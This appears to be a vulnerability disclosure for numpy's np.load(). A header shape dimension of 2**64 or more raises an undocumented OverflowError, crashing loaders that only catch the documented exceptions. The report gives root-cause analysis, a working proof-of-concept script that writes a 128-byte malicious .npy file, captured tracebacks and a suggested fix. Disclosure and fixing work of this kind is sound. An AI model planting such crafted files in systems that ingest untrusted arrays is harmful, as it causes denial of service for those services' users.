# np.load() on a .npy/.npz with a header shape dimension ≥ 2**64 raises an uncaught OverflowError — exception-contract DoS

## Summary

`numpy.load()` on a malicious `.npy` (or `.npz` member) whose header `shape`
tuple contains a Python integer too large to fit a C `long` (≥ `2**64`) raises
an **`OverflowError: Python int too large to convert to C long`**. This
exception is **not** part of `np.load`'s documented `Raises` contract
(`OSError`, `UnpicklingError`, `ValueError`, `EOFError`) and is not a subclass
of any of them. Any caller written defensively to that contract
(`except (OSError, ValueError, EOFError)`) fails to catch it and crashes —
a denial-of-service in loaders that ingest untrusted array files.

The bug fires with `allow_pickle=False` (the default, "safe" mode), before any
allocation branch, so it affects both raw `.npy` files and `.npz` archive
members.

- **Target:** `numpy` (`numpy/lib/_format_impl.py`)
- **Verified versions:** numpy **2.5.1** (venv, Python 3.13.12) and numpy
  **2.3.5** (system) — both reproduce.
- **Attack vector:** attacker-controlled `.npy`/`.npz` header (model file /
  array file ingestion).
- **Impact:** unhandled-exception denial of service / broken exception contract.
- **Preconditions:** none beyond the victim calling `np.load()` on an
  attacker-supplied file. Default `allow_pickle=False` is sufficient.

## Root cause

`np.load()` -> `format.read_array()`. The element count is computed directly
from the attacker-controlled header `shape` tuple:

```python
# numpy/lib/_format_impl.py  (read_array, ~line 823-827)
    shape, fortran_order, dtype = _read_array_header(
            fp, version, max_header_size=max_header_size)
    if len(shape) == 0:
        count = 1
    else:
        count = numpy.multiply.reduce(shape, dtype=numpy.int64)   # <-- line 827
```

`shape` comes straight from the header dict. The header validator only checks
that each element is a Python `int` — it never bounds the magnitude:

```python
# numpy/lib/_format_impl.py  (_read_array_header, ~line 685-689)
    # Sanity-check the values.
    if (not isinstance(d['shape'], tuple) or
            not all(isinstance(x, int) for x in d['shape'])):   # <-- magnitude NOT checked
        msg = "shape is not valid: {!r}"
        raise ValueError(msg.format(d['shape']))
```

When a shape dimension is a Python `int` ≥ `2**64`, converting the shape tuple
to an `int64` array inside `numpy.multiply.reduce(..., dtype=numpy.int64)`
raises `OverflowError` — which propagates uncaught out of `np.load`.

### Why this is a genuine contract gap (not just an unavoidable resource error)

numpy handles the *adjacent* magnitude ranges correctly and in-contract; only
values ≥ `2**64` escape:

| shape value            | result                                                    | in `np.load` contract? |
|------------------------|-----------------------------------------------------------|------------------------|
| `2**63 - 1`            | `MemoryError` (8.00 EiB alloc)                             | n/a (resource)         |
| `2**63`                | `ValueError: negative dimensions are not allowed`         | **yes** (correct)      |
| `2**63 + 1`            | `ValueError: negative dimensions are not allowed`         | **yes** (correct)      |
| `2**64 - 1`            | `ValueError: negative dimensions are not allowed`         | **yes** (correct)      |
| **`2**64`**            | **`OverflowError: Python int too large to convert to C long`** | **NO — BUG**      |
| `2**64 + 1`            | `OverflowError: Python int too large to convert to C long`| **NO — BUG**           |

Values in `[2**63, 2**64)` wrap to a negative `int64` and produce the
in-contract `ValueError('negative dimensions are not allowed')`. Only values
≥ `2**64` overflow the `int64` conversion itself and leak an `OverflowError`.
This demonstrates a real translation gap in the validation path rather than an
unavoidable out-of-resources condition.

## Proof of concept

`poc_gen.py` builds a 128-byte NPY v1.0 file whose header is
`{'descr': '|u1', 'fortran_order': False, 'shape': (18446744073709551616,)}`
(`18446744073709551616 == 2**64`), then calls `np.load()`.

```python
import numpy as np, struct

magic = b'\x93NUMPY\x01\x00'
h = "{'descr': '|u1', 'fortran_order': False, 'shape': (18446744073709551616,), }"
total = len(magic) + 2 + len(h) + 1
pad = (64 - total % 64) % 64
hb = (h + ' ' * pad + '\n').encode('latin1')
with open('poc_overflow.npy', 'wb') as f:
    f.write(magic + struct.pack('<H', len(hb)) + hb)   # 128 bytes total

np.load('poc_overflow.npy')          # allow_pickle=False (default)
# -> OverflowError: Python int too large to convert to C long  (uncaught)
```

The identical header inside a zip member reproduces via `np.load(npz)['x']`
(`.npz` path), since `.npz` members are read through the same `read_array`.

## Captured evidence (verbatim)

Reproduced end-to-end with `verify.py` (included). The `DOC` contract used for
the `in-contract` column is `(OSError, ValueError, EOFError, UnpicklingError)`.

```
$ ./venv/bin/python verify.py        # numpy 2.5.1, py 3.13.12
Traceback (most recent call last):
  File ".../verify.py", line 29, in <module>
    np.load(fn)
    ~~~~~~~^^^^
  File ".../numpy/lib/_npyio_impl.py", line 483, in load
    return format.read_array(fid, allow_pickle=allow_pickle,
                             pickle_kwargs=pickle_kwargs,
                             max_header_size=max_header_size)
  File ".../numpy/lib/_format_impl.py", line 827, in read_array
    count = numpy.multiply.reduce(shape, dtype=numpy.int64)
OverflowError: Python int too large to convert to C long
numpy 2.5.1 py 3.13.12
=== boundary of shape value ===
  2**63-1: MemoryError: Unable to allocate 8.00 EiB for an array with shape (92 in-contract=False
  2**63: ValueError: negative dimensions are not allowed in-contract=True
  2**63+1: ValueError: negative dimensions are not allowed in-contract=True
  2**64-1: ValueError: negative dimensions are not allowed in-contract=True
  2**64: OverflowError: Python int too large to convert to C long in-contract=False
  2**64+1: OverflowError: Python int too large to convert to C long in-contract=False
=== real np.load on-disk .npy (POC) ===
poc file size: 128 bytes
EXC TYPE: builtins.OverflowError in-contract= False
=== negative control ===
ctrl load: [0 1 2 3 4]
ctrl big-but-valid shape: MemoryError Unable to allocate 931. GiB for an array with shap in-contract= False
```

### Negative controls (same harness, adjacent inputs)

- `shape=(2**63,)`, `(2**63+1,)`, `(2**64-1,)` → `ValueError: negative
  dimensions are not allowed` — **in-contract**, correctly translated.
- A normal `np.save` / `np.load` round-trip loads fine (`[0 1 2 3 4]`).
- `shape=(1e12,)` (fits int64) → `MemoryError` (resource), not `OverflowError`.

Only `shape ≥ 2**64` escapes the documented contract.

### Second-version confirmation (system numpy 2.3.5)

```
numpy 2.3.5
  -> OverflowError: Python int too large to convert to C long | in-contract= False
```

## Suggested fix

In `_read_array_header`, after the `isinstance(x, int)` check, bound each shape
element to a non-negative value representable as `int64` (i.e.
`0 <= x < 2**63`), raising `ValueError` on violation — matching the existing
in-contract `ValueError('negative dimensions are not allowed')` handling.
Alternatively, wrap the `numpy.multiply.reduce(..., dtype=numpy.int64)` in
`read_array` and re-raise `OverflowError` as `ValueError`.

## Dedup / prior-work note

Distinct from other numpy `.npy`/`.npz` header issues:
- The historical "big header" complexity issue (huntr) concerns header *size*,
  not shape magnitude.
- A separate `_read_array_header` `TokenError` (malformed header literal) issue
  is a different exception class from a different parse stage.
- A separate `.npz` `BadZipFile` contract issue concerns the zip container, not
  the array header.

This report concerns specifically the `shape` dimension magnitude ≥ `2**64`
overflowing the `int64` element-count reduction in `read_array`, leaking an
`OverflowError` outside `np.load`'s documented `Raises` set. No CVE is known
for this specific code path at the time of writing.

## Files

- `README.md` — this writeup
- `poc_gen.py` — builds the 128-byte malicious `.npy`
- `verify.py` — full harness: POC + boundary sweep + negative controls
- `poc_overflow.npy` — the 128-byte malicious NPY v1.0 file